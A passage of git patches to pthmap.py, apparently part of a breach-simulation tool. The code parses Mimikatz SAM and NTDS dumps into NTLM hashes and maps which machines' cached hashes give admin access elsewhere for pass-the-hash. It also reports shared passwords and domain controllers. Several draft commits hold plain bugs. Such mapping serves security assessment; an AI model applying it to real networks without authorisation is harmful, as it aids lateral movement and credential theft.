dc.GetUsernameBySid(sid) + + if username != None: + return username + + return None + + def GetUsernameBySecret(self, secret): + sam = self.GetSam() + + for user, user_secret in sam.iteritems(): + if secret == user_secret: + return user + return None def GetGroupSidByGroupName(self, group_name): @@ -174,12 +193,10 @@ class Machine(object): GUIDs = set() for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - if ((comp["DomainRole"] != DsRole_RolePrimaryDomainController) and - (comp["DomainRole"] != DsRole_RoleBackupDomainController)): - continue + if not Machine(doc["monkey_guid"]).IsDomainController(): + continue - GUIDs.add(doc["monkey_guid"]) + GUIDs.add(doc["monkey_guid"]) return GUIDs @@ -189,19 +206,28 @@ class Machine(object): def GetLocalAdminNames(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) - def GetLocalAdminSecrets(self): - admin_names = self.GetLocalAdminNames() + def GetSam(self): sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] - admin_secrets = set() + sam = {} for sam_user_txt in sam_users: sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) - - if sam_user["User"] not in admin_names: + sam[sam_user["User"]] = sam_user["NTLM"].replace("[hashed secret]", "").strip() + + return sam + + def GetLocalAdminSecrets(self): + admin_names = self.GetLocalAdminNames() + sam = self.GetSam() + + admin_secrets = set() + + for user, secret in sam.iteritems(): + if user not in admin_names: continue - admin_secrets.add(sam_user["NTLM"].replace("[hashed secret]", "").strip()) + admin_secrets.add(secret) return admin_secrets @@ -225,15 +251,19 @@ class Machine(object): secrets.add(secret) return secrets - - def GetDomainAdminsOfMachine(self): + + def GetDomainControllers(self): domain_name = self.GetDomainName() DCs = self.GetDomainControllersMonkeyGuidByDomainName(domain_name) + return map(Machine, DCs) + + def GetDomainAdminsOfMachine(self): + DCs = self.GetDomainControllers() domain_admins = set() - for dc_monkey_guid in DCs: - domain_admins |= Machine(dc_monkey_guid).GetLocalAdmins() + for dc in DCs: + domain_admins |= dc.GetLocalAdmins() return domain_admins @@ -270,7 +300,7 @@ class PassTheHashMap(object): self.vertices = self.GetAllMachines() self.edges = set() - #self.GenerateEdgesBySid() # Useful for non-cached domain users + self.GenerateEdgesBySid() # Useful for non-cached domain users self.GenerateEdgesBySamHash() # This will add edges based only on password hash without caring about username def GetAllMachines(self): @@ -282,6 +312,31 @@ class PassTheHashMap(object): GUIDs.add(doc["monkey_guid"]) return GUIDs + + def ReprSidList(self, sid_list, attacker, victim): + label = set() + + for sid in sid_list: + username = Machine(victim).GetUsernameBySid(sid) + + #if not username: + # username = Machine(attacker).GetUsernameBySid(sid) + + if username: + label.add(username) + + return ",\n".join(label) + + def ReprSecretList(self, secret_list, victim): + label = set() + + for secret in secret_list: + username = Machine(victim).GetUsernameBySecret(secret) + + if username: + label.add(username) + + return ",\n".join(label) def GenerateEdgesBySid(self): for attacker in self.vertices: @@ -294,7 +349,8 @@ class PassTheHashMap(object): admins = Machine(victim).GetAdmins() if len(cached & admins) > 0: - self.edges.add((attacker, victim)) + label = self.ReprSidList(cached & admins, attacker, victim) + self.edges.add((attacker, victim, label)) def GenerateEdgesBySamHash(self): for attacker in self.vertices: @@ -307,7 +363,8 @@ class PassTheHashMap(object): admins = Machine(victim).GetLocalAdminSecrets() if len(cached & admins) > 0: - self.edges.add((attacker, victim)) + label = self.ReprSecretList(cached & admins, victim) + self.edges.add((attacker, victim, label)) def GenerateEdgesByUsername(self): for attacker in self.vertices: From cbc6f2395d40c9d49ed2fbac0d009f503736dbd2 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 04:52:39 -0800 Subject: [PATCH 021/243] add ntds information to map --- monkey_island/cc/resources/pthmap.py | 66 ++++++++++++++++++++++------ 1 file changed, 53 insertions(+), 13 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 93ba9c410..8621c56ef 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -38,15 +38,16 @@ class Machine(object): def GetMimikatzOutput(self): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) - output = set() + output = None for doc in cur: - output.add(doc["data"]["mimikatz"]) + if not output: + output = doc + + if doc["timestamp"] > output["timestamp"]: + output = doc - if len(output) == 1: - return output.pop() - - return None + return output["data"]["mimikatz"] def GetHostName(self): cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) @@ -146,7 +147,7 @@ class Machine(object): return None def GetUsernameBySecret(self, secret): - sam = self.GetSam() + sam = self.GetLocalSecrets() for user, user_secret in sam.iteritems(): if secret == user_secret: @@ -207,19 +208,58 @@ class Machine(object): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) def GetSam(self): - sam_users = str(self.GetMimikatzOutput()).split("\nSAMKey :")[1].split("\n\n")[1:] - + if not self.GetMimikatzOutput(): + return {} + + mimikatz = self.GetMimikatzOutput() + + if mimikatz.count("\n42.") != 2: + return {} + + sam_users = mimikatz.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] + sam = {} for sam_user_txt in sam_users: - sam_user = dict([map(str.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + sam_user = dict([map(unicode.strip, line.split(":")) for line in filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) sam[sam_user["User"]] = sam_user["NTLM"].replace("[hashed secret]", "").strip() return sam - + + def GetNtds(self): + if not self.GetMimikatzOutput(): + return {} + + mimikatz = self.GetMimikatzOutput() + + if mimikatz.count("\n42.") != 2: + return {} + + ntds_users = mimikatz.split("\n42.")[2].split("\nRID :")[1:] + ntds = {} + + for ntds_user_txt in ntds_users: + user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() + ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() + ntlm = ntlm.replace("[hashed secret]", "").strip() + + if ntlm: + ntds[user] = ntlm + + return ntds + + def GetLocalSecrets(self): + sam = self.GetSam() + ntds = self.GetNtds() + + secrets = sam.copy() + secrets.update(ntds) + + return secrets + def GetLocalAdminSecrets(self): admin_names = self.GetLocalAdminNames() - sam = self.GetSam() + sam = self.GetLocalSecrets() admin_secrets = set() @@ -228,7 +268,7 @@ class Machine(object): continue admin_secrets.add(secret) - + return admin_secrets def GetCachedSecrets(self): From 22b0aeb6ccee230fc2e6eede2445283dd167c88f Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 05:37:50 -0800 Subject: [PATCH 022/243] better handle multiple runs of monkey & add a few more queries --- monkey_island/cc/resources/pthmap.py | 212 ++++++++++++++------------- 1 file changed, 107 insertions(+), 105 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 8621c56ef..80233f9cb 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -34,71 +34,49 @@ def myntlm(x): class Machine(object): def __init__(self, monkey_guid): self.monkey_guid = str(monkey_guid) + + self.latest_system_info = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}).sort([("timestamp", 1)]).limit(1) + + if self.latest_system_info.count() > 0: + self.latest_system_info = self.latest_system_info[0] def GetMimikatzOutput(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - output = None + if not doc: + return None - for doc in cur: - if not output: - output = doc - - if doc["timestamp"] > output["timestamp"]: - output = doc - - return output["data"]["mimikatz"] + return doc["data"]["mimikatz"] def GetHostName(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) - - names = set() + doc = self.latest_system_info - for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - names.add(eval(comp["Name"])) - - if len(names) == 1: - return names.pop() + for comp in doc["data"]["Win32_ComputerSystem"]: + return eval(comp["Name"]) return None def GetIp(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - names = set() - - for doc in cur: - for addr in doc["data"]["network_info"]["networks"]: - return str(addr["addr"]) + for addr in doc["data"]["network_info"]["networks"]: + return str(addr["addr"]) return None def GetDomainName(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - names = set() - - for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - names.add(eval(comp["Domain"])) - - if len(names) == 1: - return names.pop() + for comp in doc["data"]["Win32_ComputerSystem"]: + return eval(comp["Domain"]) return None def GetDomainRole(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info - roles = set() - - for doc in cur: - for comp in doc["data"]["Win32_ComputerSystem"]: - roles.add(comp["DomainRole"]) - - if len(roles) == 1: - return roles.pop() + for comp in doc["data"]["Win32_ComputerSystem"]: + return comp["DomainRole"] return None @@ -106,36 +84,24 @@ class Machine(object): return self.GetDomainRole() in (DsRole_RolePrimaryDomainController, DsRole_RoleBackupDomainController) def GetSidByUsername(self, username): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.Name":"u'%s'" % (username,)}) - - SIDs = set() + doc = self.latest_system_info - for doc in cur: - for user in doc["data"]["Win32_UserAccount"]: - if eval(user["Name"]) != username: - continue + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["Name"]) != username: + continue - SIDs.add(eval(user["SID"])) - - if len(SIDs) == 1: - return SIDs.pop() + return eval(user["SID"]) return None def GetUsernameBySid(self, sid): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_UserAccount.SID":"u'%s'" % (sid,)}) - - names = set() + doc = self.latest_system_info - for doc in cur: - for user in doc["data"]["Win32_UserAccount"]: - if eval(user["SID"]) != sid: - continue + for user in doc["data"]["Win32_UserAccount"]: + if eval(user["SID"]) != sid: + continue - names.add(eval(user["Name"])) - - if len(names) == 1: - return names.pop() + return eval(user["Name"]) if not self.IsDomainController(): for dc in self.GetDomainControllers(): @@ -155,36 +121,34 @@ class Machine(object): return None + def GetSidBySecret(self, secret): + username = self.GetUsernameBySecret(secret) + return self.GetSidByUsername(username) + def GetGroupSidByGroupName(self, group_name): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_Group.Name":"u'%s'" % (group_name,)}) - SIDs = set() + doc = self.latest_system_info - for doc in cur: - for group in doc["data"]["Win32_Group"]: - if eval(group["Name"]) != group_name: - continue + for group in doc["data"]["Win32_Group"]: + if eval(group["Name"]) != group_name: + continue - SIDs.add(eval(group["SID"])) - - if len(SIDs) == 1: - return SIDs.pop() + return eval(group["SID"]) return None def GetUsersByGroupSid(self, sid): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid, "data.Win32_GroupUser.GroupComponent.SID":"u'%s'" % (sid,)}) + doc = self.latest_system_info users = dict() - for doc in cur: - for group_user in doc["data"]["Win32_GroupUser"]: - if eval(group_user["GroupComponent"]["SID"]) != sid: - continue - - if "PartComponent" not in group_user.keys(): - continue + for group_user in doc["data"]["Win32_GroupUser"]: + if eval(group_user["GroupComponent"]["SID"]) != sid: + continue + + if "PartComponent" not in group_user.keys(): + continue - users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) + users[eval(group_user["PartComponent"]["SID"])] = eval(group_user["PartComponent"]["Name"]) return users @@ -272,23 +236,22 @@ class Machine(object): return admin_secrets def GetCachedSecrets(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info secrets = set() - for doc in cur: - for username in doc["data"]["credentials"]: - user = doc["data"]["credentials"][username] - - if "password" in user.keys(): - ntlm = myntlm(str(user["password"])) - elif "ntlm_hash" in user.keys(): - ntlm = str(user["ntlm_hash"]) - else: - continue + for username in doc["data"]["credentials"]: + user = doc["data"]["credentials"][username] + + if "password" in user.keys(): + ntlm = myntlm(str(user["password"])) + elif "ntlm_hash" in user.keys(): + ntlm = str(user["ntlm_hash"]) + else: + continue - secret = hashlib.md5(ntlm.decode("hex")).hexdigest() - secrets.add(secret) + secret = hashlib.md5(ntlm.decode("hex")).hexdigest() + secrets.add(secret) return secrets @@ -314,24 +277,22 @@ class Machine(object): return set(map(lambda x: self.GetUsernameBySid(x), self.GetAdmins())) def GetCachedSids(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info SIDs = set() - for doc in cur: - for username in doc["data"]["credentials"]: - SIDs.add(self.GetSidByUsername(username)) + for username in doc["data"]["credentials"]: + SIDs.add(self.GetSidByUsername(username)) return SIDs def GetCachedUsernames(self): - cur = mongo.db.telemetry.find({"telem_type":"system_info_collection", "monkey_guid": self.monkey_guid}) + doc = self.latest_system_info SIDs = set() - for doc in cur: - for username in doc["data"]["credentials"]: - SIDs.add(username) + for username in doc["data"]["credentials"]: + SIDs.add(username) return SIDs @@ -422,3 +383,44 @@ class PassTheHashMap(object): def Print(self): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) + + def GetAllSidsStat(self): + SIDs = {} + + for m in self.vertices: + for sid in m.GetLocalAdmins(): + if sid not in SIDs.keys(): + SIDs[sid] = 0 + + SIDs[sid] += 1 + + return SIDs + + def GetAllSecretStat(self): + secrets = {} + + for m in self.vertices: + for secret in m.GetLocalAdminSecrets(): + if secret not in secrets.keys(): + secrets[secret] = 0 + + secrets[secret] += 1 + + return secrets + + def SidToUsername(self, sid): + for m in self.vertices: + username = m.GetUsernameBySid(sid) + + if username: + return username + + return None + + def SecretToSids(self, secret): + SIDs = set() + + for m in self.vertices: + SIDs.add(m.GetSidBySecret(secret)) + + return SIDs \ No newline at end of file From 492bea27a5765984d7784ed4ac05a771c5f85f58 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 07:31:35 -0800 Subject: [PATCH 023/243] add more queries --- monkey_island/cc/resources/pthmap.py | 95 ++++++++++++++++++++++++---- 1 file changed, 82 insertions(+), 13 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 80233f9cb..f1f1825c3 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -289,12 +289,12 @@ class Machine(object): def GetCachedUsernames(self): doc = self.latest_system_info - SIDs = set() + names = set() for username in doc["data"]["credentials"]: - SIDs.add(username) + names.add(username) - return SIDs + return names class PassTheHashMap(object): def __init__(self): @@ -384,31 +384,49 @@ class PassTheHashMap(object): print map(lambda x: Machine(x).GetIp(), self.vertices) print map(lambda x: (Machine(x[0]).GetIp(), Machine(x[1]).GetIp()), self.edges) - def GetAllSidsStat(self): + def GetSecretBySid(self, sid): + for m in self.vertices: + for user, user_secret in m.GetLocalSecrets(): + if m.GetSidByUsername(user) == sid: + return user_secret + + return None + + def GetAllSids(self): SIDs = {} for m in self.vertices: for sid in m.GetLocalAdmins(): if sid not in SIDs.keys(): - SIDs[sid] = 0 + SIDs[sid] = {} + SIDs[sid]["admin_count"] = 0 + SIDs[sid]["cache_count"] = self.GetSecretCacheCount(self.GetSecretBySid(sid)) - SIDs[sid] += 1 + SIDs[sid]["admin_count"] += 1 return SIDs + + def GetSecretCacheCount(self, secret): + count = 0 + + for m in self.vertices: + if secret in m.GetCachedSecrets(): + count += 1 + + return count - def GetAllSecretStat(self): + def GetAllSecrets(self): secrets = {} for m in self.vertices: for secret in m.GetLocalAdminSecrets(): if secret not in secrets.keys(): - secrets[secret] = 0 - - secrets[secret] += 1 + secrets[secret] = {} + secrets[secret]["cache_count"] = GetSecretCacheCount(secret) return secrets - def SidToUsername(self, sid): + def GetUsernameBySid(self, sid): for m in self.vertices: username = m.GetUsernameBySid(sid) @@ -417,10 +435,61 @@ class PassTheHashMap(object): return None - def SecretToSids(self, secret): + def GetSidsBySecret(self, secret): SIDs = set() for m in self.vertices: SIDs.add(m.GetSidBySecret(secret)) - return SIDs \ No newline at end of file + return SIDs + + def GetAllDomainControllers(self): + DCs = set() + + for m in self.vertices: + if m.IsDomainController(): + DCs.add(m) + + def GetSidsByUsername(self, username): + doc = self.latest_system_info + + SIDs = set() + + for m in self.vertices: + sid = m.GetSidByUsername(username) + if sid: + SIDs.add(sid) + + return SIDs + + def GetVictimsBySid(self, sid): + machines = set() + + for m in self.vertices: + if sid in m.GetAdmins(): + machines.add(m) + + return machines + + def GetVictimsBySecret(self, secret): + machines = set() + + SIDs = self.GetSidsBySecret(secret) + + for m in self.vertices: + if len(SIDs & m.GetAdmins()) > 0: + machines.add(m) + + return machines + + def GetAttackersBySecret(self, secret): + machines = set() + + for m in self.vertices: + if secret in m.GetCachedSecrets(): + machines.add(m) + + return machines + + def GetAttackersByVictim(self, victim): + assert False, "TODO, get information from the graph" \ No newline at end of file From 18114ea7fe661626acbbce44c16a1925ff069ff5 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 21:53:22 +0200 Subject: [PATCH 024/243] add draft for some tables --- monkey_island/cc/resources/pthmap.py | 99 +++++++++++++++++++++++----- 1 file changed, 84 insertions(+), 15 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index f1f1825c3..63967d91f 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -167,6 +167,16 @@ class Machine(object): def GetLocalAdmins(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).keys()) + + def GetLocalSids(self): + doc = self.latest_system_info + + SIDs = set() + + for user in doc["data"]["Win32_UserAccount"]: + SIDs.add(eval(user["SID"])) + + return SIDs def GetLocalAdminNames(self): return set(self.GetUsersByGroupSid(self.GetGroupSidByGroupName("Administrators")).values()) @@ -392,19 +402,22 @@ class PassTheHashMap(object): return None - def GetAllSids(self): - SIDs = {} + def GetAttackableMachineCountBySid(self, sid): + count = 0 for m in self.vertices: - for sid in m.GetLocalAdmins(): - if sid not in SIDs.keys(): - SIDs[sid] = {} - SIDs[sid]["admin_count"] = 0 - SIDs[sid]["cache_count"] = self.GetSecretCacheCount(self.GetSecretBySid(sid)) - - SIDs[sid]["admin_count"] += 1 + if sid in m.GetLocalAdmins(): + count += 1 + + return count + + def GetAttackableMachineCountByMachine(self, attacker): + count = 0 - return SIDs + for secret in attack.GetCachedSecrets(): + count += len(m.GetVictimsBySecret(secret)) + + return count def GetSecretCacheCount(self, secret): count = 0 @@ -415,14 +428,22 @@ class PassTheHashMap(object): return count + def GetAllSids(self): + SIDs = set() + + for m in self.vertices: + SIDs |= m.GetLocalSids() + + return SIDs + def GetAllSecrets(self): - secrets = {} + secrets = set() for m in self.vertices: for secret in m.GetLocalAdminSecrets(): - if secret not in secrets.keys(): - secrets[secret] = {} - secrets[secret]["cache_count"] = GetSecretCacheCount(secret) + secret.add(secret) + #secrets[secret]["cache_count"] = self.GetSecretCacheCount(secret) + #secrets[secret]["sid_count"] = len(self.GetSidsBySecret(secret)) return secrets @@ -492,4 +513,52 @@ class PassTheHashMap(object): return machines def GetAttackersByVictim(self, victim): - assert False, "TODO, get information from the graph" \ No newline at end of file + assert False, "TODO, get information from the graph" + +def main(): + pth = PassTheHashMap() + + print "

    Pass The Hash Report

    " + + print "

    Duplicated Passwords

    " + print "

    How many users share each secret?

    " + dups = dict(map(lambda x: (x, len(self.GetSidsBySecret(x))), pth.GetAllSecrets())) + + print """""" + print """SecretUser Count""" + for secret, count in sorted(dups.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{secret}{count}""".format(secret=secret, count=count) + print """""" + + print "

    Cached Passwords

    " + print "

    On how many machines each secret is cached?

    " + cache_counts = dict(map(lambda x: (x, self.GetSecretCacheCount(x)), pth.GetAllSecrets())) + + print """""" + print """SecretMachine Count""" + for secret, count in sorted(cache_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{secret}{count}""".format(secret=secret, count=count) + print """""" + + print "

    User's Creds

    " + print "

    To how many machines each user is able to connect with admin rights?

    " + attackable_counts = dict(map(lambda x: (x, self.GetAttackableMachineCountBySid(x)), pth.GetAllSids())) + + print """""" + print """SIDUsernameMachine Count""" + for sid, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{sid}{username}{count}""".format(sid=sid, username=pth.GetUsernameBySid(sid), count=count) + print """""" + + print "

    Machine's Creds

    " + print "

    To how many machines each machine is able to directly connect with admin rights?

    " + attackable_counts = dict(map(lambda m: (m, pth.GetAttackableMachineCountByMachine(m)), pth.vertices)) + + print """""" + print """Attacker IpAttacker HostnameDomain NameVictim Machine Count""" + for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): + print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName(), count=count) + print """""" + +if __name__ == "__main__": + main() \ No newline at end of file From 86be96eb44dad77d352621a8d5c7a7477cbd3975 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 21:55:56 +0200 Subject: [PATCH 025/243] Add dc table --- monkey_island/cc/resources/pthmap.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 63967d91f..68d2b102a 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -559,6 +559,16 @@ def main(): for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName(), count=count) print """""" + + print "

    Domain Controllers

    " + print "

    List of domain controllers (we count them as critical points, so they are listed here)

    " + DCs = pth.GetAllDomainControllers() + + print """""" + print """DC IpDC HostnameDomain Name""" + for m in DCs: + print """{ip}{hostname}{domain}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName()) + print """""" if __name__ == "__main__": main() \ No newline at end of file From 3f9204dd83c32379558d8f51ba5dee055a7594ca Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 22:29:17 +0200 Subject: [PATCH 026/243] add a lot of information to report --- monkey_island/cc/resources/pthmap.py | 86 ++++++++++++++++++++++++++-- 1 file changed, 81 insertions(+), 5 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index 68d2b102a..db3952e17 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -415,7 +415,7 @@ class PassTheHashMap(object): count = 0 for secret in attack.GetCachedSecrets(): - count += len(m.GetVictimsBySecret(secret)) + count += len(m.GetAttackableMachinesBySecret(secret)) return count @@ -427,6 +427,14 @@ class PassTheHashMap(object): count += 1 return count + + def GetAllUsernames(self): + names = set() + + for sid in self.GetAllSids(): + names.add(self.GetUsernameBySid(sid)) + + return names def GetAllSids(self): SIDs = set() @@ -483,7 +491,7 @@ class PassTheHashMap(object): return SIDs - def GetVictimsBySid(self, sid): + def GetAttackableMachinesBySid(self, sid): machines = set() for m in self.vertices: @@ -492,7 +500,7 @@ class PassTheHashMap(object): return machines - def GetVictimsBySecret(self, secret): + def GetAttackableMachinesBySecret(self, secret): machines = set() SIDs = self.GetSidsBySecret(secret) @@ -557,7 +565,7 @@ def main(): print """""" print """Attacker IpAttacker HostnameDomain NameVictim Machine Count""" for m, count in sorted(attackable_counts.iteritems(), key=lambda (k,v): (v,k), reverse=True): - print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName(), count=count) + print """{ip}{hostname}{domain}{count}""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName(), count=count) print """""" print "

    Domain Controllers

    " @@ -567,8 +575,76 @@ def main(): print """""" print """DC IpDC HostnameDomain Name""" for m in DCs: - print """{ip}{hostname}{domain}""".format(ip=m.GetIp(), hostname=n.GetHostName(), domain=m.GetDomainName()) + print """{ip}{hostname}{domain}""".format(ip=m.GetIp(), hostname=m.GetHostName(), domain=m.GetDomainName()) print """""" + + print "
    " + + for m in pth.vertices: + print """

    Machine '{ip}'

    +

    Hostname '{hostname}'

    """.format{ip=m.GetIp(), hostname=m.GetHostName()} + + print """

    Cached SIDs

    """ + print """
      """ + for sid in m.GetCachedSids(): + print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
    """ + + print """

    Possible Attackers

    """ + print """

    TODO. see graph.

    """ # pth.GetAttackersByVictim(m) + + print """

    Admins

    """ + print """
      """ + for sid in m.GetAdmins(): + print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
    """ + print "
    " + + for username in pth.GetAllUsernames(): + print """

    User '{username}'

    """.format(username=username) + + print """

    Matching SIDs

    """ + print """
      """ + for sid in pth.GetSidsByUsername(username) + print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
    """ + + print "
    " + + for sid in pth.GetAllSids(): + print """

    SID '{sid}'

    +

    Username: '{username}'

    +

    Secret: '{secret}'

    + """.format(username=pth.GetUsernameBySid(sid), sid=sid, secret=pth.GetSecretBySid(sid)) + + print """

    Attackable Machines

    """ + print """
      """ + for m in pth.GetAttackableMachinesBySid(sid) + print """
    • {ip} ({hostname})
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
    """ + + for secret in pth.GetAllSecrets(): + print """

    Secret '{secret}'

    """.format(secret=secret) + + print """

    SIDs that use that secret

    """ + print """
      """ + for sid in pth.GetSidsBySecret(secret): + print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) + print """
    """ + + print """

    Attackable Machines with that secret

    """ + print """
      """ + for m in pth.GetAttackableMachinesBySecret(secret): + print """
    • {hostname}
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
    """ + + print """

    Machines that have this secret cached and can use it to attack other machines

    """ + print """
      """ + for m in pth.GetAttackersBySecret(secret): + print """
    • {hostname}
    • """.format(ip=m.GetIp(), hostname=m.GetHostName()) + print """
    """ + + if __name__ == "__main__": main() \ No newline at end of file From b56f05335ba4815e06a1b0cc87f0014a2db3e901 Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 23:36:04 -0800 Subject: [PATCH 027/243] fix todo --- monkey_island/cc/resources/pthmap.py | 29 ++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index db3952e17..c4a770f51 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -1,9 +1,9 @@ -import flask_restful - -from cc.auth import jwt_required -from cc.services.edge import EdgeService -from cc.services.node import NodeService -from cc.database import mongo +#import flask_restful +# +#from cc.auth import jwt_required +#from cc.services.edge import EdgeService +#from cc.services.node import NodeService +#from cc.database import mongo import hashlib import binascii @@ -521,7 +521,13 @@ class PassTheHashMap(object): return machines def GetAttackersByVictim(self, victim): - assert False, "TODO, get information from the graph" + attackers = set() + + for atck, vic in self.edge: + if vic == victim: + attackers.add(atck) + + return attackers def main(): pth = PassTheHashMap() @@ -585,15 +591,22 @@ def main():

    Hostname '{hostname}'

    """.format{ip=m.GetIp(), hostname=m.GetHostName()} print """

    Cached SIDs

    """ + print """

    SIDs cached on this machine

    """ print """
      """ for sid in m.GetCachedSids(): print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) print """
    """ print """

    Possible Attackers

    """ - print """

    TODO. see graph.

    """ # pth.GetAttackersByVictim(m) + print """

    Machines that can attack this machine

    """ + print """
      """ + for attacker in pth.GetAttackersByVictim(m): + print """
    • {ip} ({hostname})
    • """.format(ip=attacker.GetIp(), hostname=attacker.GetHostName()) + print """
    """ + print """

    Admins

    """ + print """

    Users that have admin rights on this machine

    """ print """
      """ for sid in m.GetAdmins(): print """
    • {username} ({sid})
    • """.format(username=m.GetUsernameBySid(sid), sid=sid) From 9be9c48253cf7d6a9a44dc9087295efe805d456e Mon Sep 17 00:00:00 2001 From: Oran Nadler Date: Tue, 6 Mar 2018 23:56:32 -0800 Subject: [PATCH 028/243] analsis runs --- monkey_island/cc/resources/pthmap.py | 87 +++++++++++++++------------- 1 file changed, 47 insertions(+), 40 deletions(-) diff --git a/monkey_island/cc/resources/pthmap.py b/monkey_island/cc/resources/pthmap.py index c4a770f51..222762e47 100644 --- a/monkey_island/cc/resources/pthmap.py +++ b/monkey_island/cc/resources/pthmap.py @@ -9,8 +9,12 @@ import hashlib import binascii from pymongo import MongoClient -class PthMap(flask_restful.Resource): - @jwt_required() +class mongo(object): + db = MongoClient().monkeyisland + +#class PthMap(flask_restful.Resource): +class PthMap(object): +# @jwt_required() def get(self, **kw): graph = PassTheHashMap() @@ -310,6 +314,7 @@ class PassTheHashMap(object): def __init__(self): self.vertices = self.GetAllMachines() self.edges = set() + self.machines = map(Machine, self.vertices) self.GenerateEdgesBySid() # Useful for non-cached domain users 